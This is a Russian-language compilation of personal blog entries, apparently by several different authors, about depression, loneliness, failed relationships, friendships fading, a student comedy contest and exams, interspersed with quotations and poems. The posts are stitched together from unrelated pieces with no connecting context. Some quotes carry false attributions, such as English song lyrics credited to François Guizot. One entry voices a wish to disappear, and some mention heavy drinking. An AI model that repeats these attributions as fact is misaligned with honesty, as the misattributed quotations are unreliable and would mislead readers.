так уж сложилось, что раз в полгода на меня накатывает очередной депрессняк, и я вспоминаю о существовании этого блога. в такие моменты я начинаю чувствовать, что еще немного и на меня снизойдет вдохновение и я начну снова его вести. обычно энтузиазм быстро проходит, но, надеюсь, сейчас не тот случай. потому что именно сейчас мне, как никогда, нужно разобраться в себе.

итак. кратенькое резюме за прошлые полгода моей уныленькой жизни:

пока что на этом все. ну или по крайней мере пока что больше ничего не вспомнилось.

короче говоря, я очень хочу изменить свою жизнь. надеюсь, что смогу найти мотивацию и у меня все получится :)

Трудно жить без души, особенно когда помнишь о том, что она у тебя была.

Том Клэнси

"Без жалости"

я щаслива

уже 28 января…как быстро летят дни…ужаас… (на выходные еду в Барановку…прилетает моя любимая сестричка с Бельгии))

Ах да…два слова про моё ДР….всё прошло отлично…мои друзья пришли меня поздравить…было очень всё круто…спасибо им за чудный праздник..за настроение…ценю их за это.)

Если ты ненавидишь — значит тебя победили.

Конфуций

Поезда — восхитительны. Я обожаю их по-прежнему. Путешествовать на поезде означает видеть природу, людей, города и церкви, реки, — в сущности это путешествие по жизни.

Агата Кристи

Начинается самое противное, самое изматывающее время - конец января и начало хлюпающего февраля. Я ничего не чувствую. Смотрю на экран с Мелани Лоран и Джилленхолом и хочу въебать обоим. Второй день подряд подрываюсь с утра и пеку печенье, которое, кажется, мало кому интересно. Начала читать важную книгу, которая за 28 страниц вынула из меня то немногое, что можно было назвать интересом к философии. Меня всегда раздражали эти искания, истины, цели существования, материи. Это не для меня - я человек простой. Я никогда не буду печальным героем какого-нибудь черно-белого фильма для снобов и зануд, обособившегося и поселившегося в своем унынии от невозможности постичь. Мне всё равно. У меня миллиард реальностей, и каждая из них так же правдоподобна, как эта жемчужно-серая клавиатура, по которой я стучу. Мне не нужен смысл жизни, меня особо не волнует высшее предназначение. Почему? Потому что я его никогда не узнаю. Я придумала смысл сама. Я не собираюсь делать из собственной головы капкан, пока в Калифорнии такие розовые закаты, рядом с домом кофейня с ванильным рафом, и в мире осталась неизведанная музыка; пока наискось от моего дома стоит желтый офис красивыми окнами на американский манер, и часика в 4 дня в них отражается болезненное московское небо; пока моя сестра шутит как заправский комик и играет в котика. Мне действительно малоинтересно пытаться расшатать эту философскую конструкцию, потому что я знаю - там пустота.

Didn't you see me, didn't you hear me?
Didn't you see me standing there, ah, ha, ha?
Why did you turn out the lights?
Did you know that I was sleeping?

Say a prayer for me,
Help me to feel the strength, I did.
My identity, has it been taken?
Is my heart breakin' on me?

- Франсуа Гизо

минутка бабских капризов или почувствуй себя куском говна.

ну неужели я не заслужила нормальных !обычных! отношений, а не этой хуйни, когда ты заставляешь себя ни на что не рассчитывать, но всё равно в глубине души лелеешь надежду увидеться с ним в тот или иной день, а потом получаешь большое красивое ничего.

пускай ты безвольная нерешительная тряпка, готовая жить на два фронта, но не готовая выбирать. но почему ты даже при простом желании увидеться ничего не можешь для этого сделать, ничегошеньки? сука, почему? и почему я такая дура?

Неважно насколько скорбит сердце. Если продолжаешь верить, то твоя заветная мечта сбудется.

GIFS [x]

ANTI by Rihanna

Королева вернулась, преклоняйте колени.
LIVE LONG THE QUEEN

Я никогда не позвоню первой. И это вовсе не потому что я такая невъебенно охуенная или потому что мне гордость не позволяет. Просто я стесняюсь. Это правда. Я боюсь, что потревожу людей, боюсь, что я буду не во время, и на самом деле со мной не хотят общаться, просто не говорят об этом. поэтому я всегда говорю, что бы мне писали и звонили, потому что я человек свободный: у меня ни парня, ни работы, я могу пойти гулять или в гости в любой момент, только вот все равно никто не звонит и никуда не зовет.
Может быть проблема во мне? С подругами, с которыми я в школе общалась, не писали и не звонили уже почти год. Мы не общаемся с мая месяца. Просто не позвали меня на салют на 9 мая, а после того, как я спросила в чем причина, получила ответ, что тебя зовешь, а ты отказываешься. Да, я отказалась с ними ехать на шашлыки. Ну и что? А дружба разве заключается в том, что бы везде ходить вместе, просто тупо для галочки, что бы в следующий раз позвали? Почему у меня просто не может быть настроения, именно в этот день я хочу побыть дома одна. Все мы люди. После этого разговора вот уже почти год мы не общаемся. Порой я хочу написать, но не делаю этого. Не из-за обиды или злости, я просто не знаю о чем говорить, мне неловко. Но я признаюсь, что скачаю по одной подруге.
И вот весь этот год я общалась только с одногруппницой, но выражаясь современным я зыком она тоже стала сливаться. Вот закончилась сессия, почему бы не собраться и не отметить. Нет, это не произошло. Слова принцессы скажите ей, но я правда нем могу позвонить первая, потому что чувствую, что напрашиваюсь. Я считаю ее подругой, другом, только вот не знаю кем она меня считает.
И в конечном итоге, я осталась одна, совсем без друзей. Бывает…

Короче, отКВНили.

Заняли третье место, но в Луганск позвали первое место и нас, а не тех, кто занял 2-е.

На самом деле, ребята все очень классные, команды веселые дружные, такая атмосфера хорошая была. После выступления все вместе сидели в кафе, никто ни на кого не злился никаких обид, ничего такого

Я вообще-то надеялась, что смогу отдохнуть на каникулах, но нет. Давай, Маша, работай над сценарием, репетируй + мы взяли двух ребят из техникума и нужно расписать им номера. Короче, вся в делах и заботах.

Но все лучше чем дома сидеть и лениться

: *

Всё меньше друзей, всё больше знакомых

просто никто не спасал до тебя, не нянчил,
не подавал мне целительных слов состав;
я привязалась безбожно уже, щенячьи
(лишние беды тем самым себе создав).

но повторяю я текстом открытым - этим -
nobody will ever love you the way I do.
за приручённую будешь всегда в ответе,
за приручаемость - буду всегда в аду.

Белла Ахмадулина

Я говорю вам: научитесь ждать!
Ещё не всё! Всему дано продлиться!
Безмерных продолжений благодать
не зря вам обещает бред провидца:
возобновит движение рука,
затеявшая добрый жест привета,
и мысль, невнятно тлевшая века,
всё ж вычислит простую суть предмета,
смех округлит улыбку слабых уст,
отчаянье взлелеет тень надежды,
и бесполезной выгоды искусств
возжаждет одичалый ум невежды…
Лишь истина окажется права,
в сердцах людей взойдёт её свеченье,
и обретут воскресшие слова
поступков драгоценное значенье.

Вот сто пудов мне завтра в билете попадется "Нетерпимость", я готова поспорить :D Если попадется, то будет пост на 10 тысяч строк с диким ржачем.

Буквально пару дней назад, перелистывая журнал F&V не первой свежести, вновь наткнулась на статью посвященную фотовыставке «Антология русской фотографии, Фото 60- 70», проходившей в галерее имени братьев Люмьер, если не ошибаюсь еще в мае. Конечно, информация не сказать, чтобы свежая, но пройти мимо этих фотографий и не поделиться я просто не могла.В большинстве своем это легкие, воздушные фотографии, без малейшего намека на постановку, просто во время пойманный красивый момент ушедшей навсегда эпохи. Органичное сочетание социального содержания и совершенной формы. В них нет ни капли инсценировки, пафоса, декларативности, фальшивого оптимизма.

М. как наваждение. Я не хочу к нему. Не хочу быть с ним. Уже почти забыла и счастлива (почти) с другим. Но постоянно. Посреди дня. Посреди фильма. Посреди работы. И.т.д. как вспышка в голове его имя. Закрываю глаза и вижу его губы. Глаза. Ааааааа. Это как болезнь. Я даже не скучаю по нему. "прочь из моей головы…"

То чувство, когда все неожиданно стали говорить, какой Пол Дано талантливый, а тебе он понравился ещё давным-давно в фильме "Маленькая мисс счастье". В общем, всем расчудесного Пола, сна и хороших приближающихся выходных.

Тяжелая депрессия и невроз, выписанные антидепрессанты, нейролептики и транки-таков итог моего похода. BABY, DID U FORGET TO TAKE YOUR MEDS?

П. утром прочла, что я скидывала ей и ничего не написала.Да бог с ним-она узнала, что я иду к врачу..но не написала мол "удачи", или "расскажешь, как все прошло". Я надеюсь, это просто ее заебанность с парами, а не невнимание и похуизм к моей персоне.Но все равно неприятно немного, потому что и анастас, и оля и манька моя, и катич-все волновались и просили написать сразу, как я выйду.
Ок.Опять я походу себя накручиваю.
Пожалуй пойду налью себ крови грешников и умоюсь, а то опять в автобусе ревела.
Ну вот я и приехала.блять.

Хочу закопаться где-нибудь и чтобы меня никогда никто не нашел.

ощущение, будто бы он все обо мне знает. это вдруг отталкивает.

Ну привет, вьюви! Давно уже выросшая миллеруша, позрослевшая юная леди. Так интересно было прочитать свои старые записи, мысли. Это очень мило и это часть моего прошлого. Как кусочек воспоминаний. Прошел не год и даже не два. Я учусь на втором курсе. Университет как новый этап в жизни. Многое осознала, сильно повзрослела. Поняла, что мальчики и безответная любовь, ну это ерунда на фоне остальных проблем, которые возникают в жизни. Не такой я себя представляла пару лет назад. Думала у взрослых все иначе. Все проще. А в жизни много разочарований, но и радости не меньше. Многое произошло за последний год. Многое изменило меня. И спасибо тем людям, которые ушли. Это жизненный опыт. Который делает жесче, грубее. Но это я и ничего не поменять. Детскую наивность как рукой сняло. Розовые очки бьются стеклами внутрь. Сейчас я Лена, которая умеет скрывать любые чувства, дорожит родителями и не принимаетвсе близко к сердцу.

В следующую пятницу у меня последний экзамен, решили, что как только выйдем из аудитории нахуяримся прям в коридоре! Ибо очень сложнаа